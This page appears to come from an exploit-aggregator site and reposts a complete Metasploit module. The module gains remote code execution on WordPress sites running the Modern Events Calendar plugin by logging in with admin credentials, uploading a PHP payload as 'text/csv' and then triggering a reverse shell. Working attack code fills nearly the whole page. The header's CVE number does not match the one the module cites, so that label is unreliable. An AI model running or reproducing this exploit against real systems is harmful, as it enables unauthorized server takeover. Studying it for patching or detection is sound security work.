Advertisement






WordPress Modern Events Calendar Remote Code Execution

CVE Category Price Severity
CVE-2020-12800 CWE-94 $15,000 Critical
Author Risk Exploitation Type Date
Larry W. Cashdollar High Remote 2021-07-27
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 0.02415 0.59598

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021070157

Below is a copy:

WordPress Modern Events Calendar Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress Plugin Modern Events Calendar - Authenticated Remote Code Execution',
        'Description' => %q{
          This module allows an attacker with a privileged Wordpress account to launch a reverse shell
          due to an arbitrary file upload vulnerability in Wordpress plugin Modern Events Calendar < 5.16.5.
          This is due to an incorrect check of the uploaded file extension.
          Indeed, by using `text/csv` content-type in a request, it is possible to upload a .php payload as is is not forbidden by the plugin.
          Finally, the uploaded payload can be triggered by a call to `/wp-content/uploads/<random_payload_name>.php`
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Nguyen Van Khanh', # Original PoC and discovery
            'Ron Jost', # Exploit-db
            'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
          ],
        'References' =>
          [
            ['EDB', '50115'],
            ['CVE', '2021-24145'],
            ['CWE', '434']
          ],
        'Platform' => [ 'php' ],
        'Arch' => ARCH_PHP,
        'Targets' =>
        [
          [ 'Wordpress Modern Events Calendar < 5.16.5', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2021-01-29',
        'Notes' =>
          {
            'Stability' => [ CRASH_SAFE ],
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
            'Reliability' => [ REPEATABLE_SESSION ]
          }
      )
    )

    register_options [
      OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),
      OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),
      OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])
    ]
  end

  def check
    unless wordpress_and_online?
      return CheckCode::Safe('Server not online or not detected as Wordpress')
    end

    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    if cookie
      check_plugin_version_from_readme('modern-events-calendar-lite', '5.16.5')
    else
      CheckCode::Detected('The admin credentials given are wrong !')
    end
  end

  def exploit
    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::NoAccess, 'Authentication failed') unless cookie
    payload_name = "#{Rex::Text.rand_text_alpha_lower(5)}.php"

    post_data = Rex::MIME::Message.new
    post_data.add_part(payload.encoded, 'text/csv', nil, "form-data; name='feed'; filename='#{payload_name}'")
    post_data.add_part('import-start-bookings', nil, nil, "form-data; name='mec-ix-action'")

    print_status("Uploading file \'#{payload_name}\' containing the payload...")

    r = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),
      'headers' => {
        'Origin' => full_uri('')
      },
      'vars_get' => {
        'page' => 'MEC-ix',
        'tab' => 'MEC-import'
      },
      'cookie' => cookie,
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    )

    fail_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 200
    register_file_for_cleanup(payload_name)

    print_status('Triggering the payload ...')
    send_request_cgi(
      'method' => 'GET',
      'headers' => {
        'Origin' => full_uri('')
      },
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, "/wp-content/uploads/#{payload_name}")
    )
  end
end

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.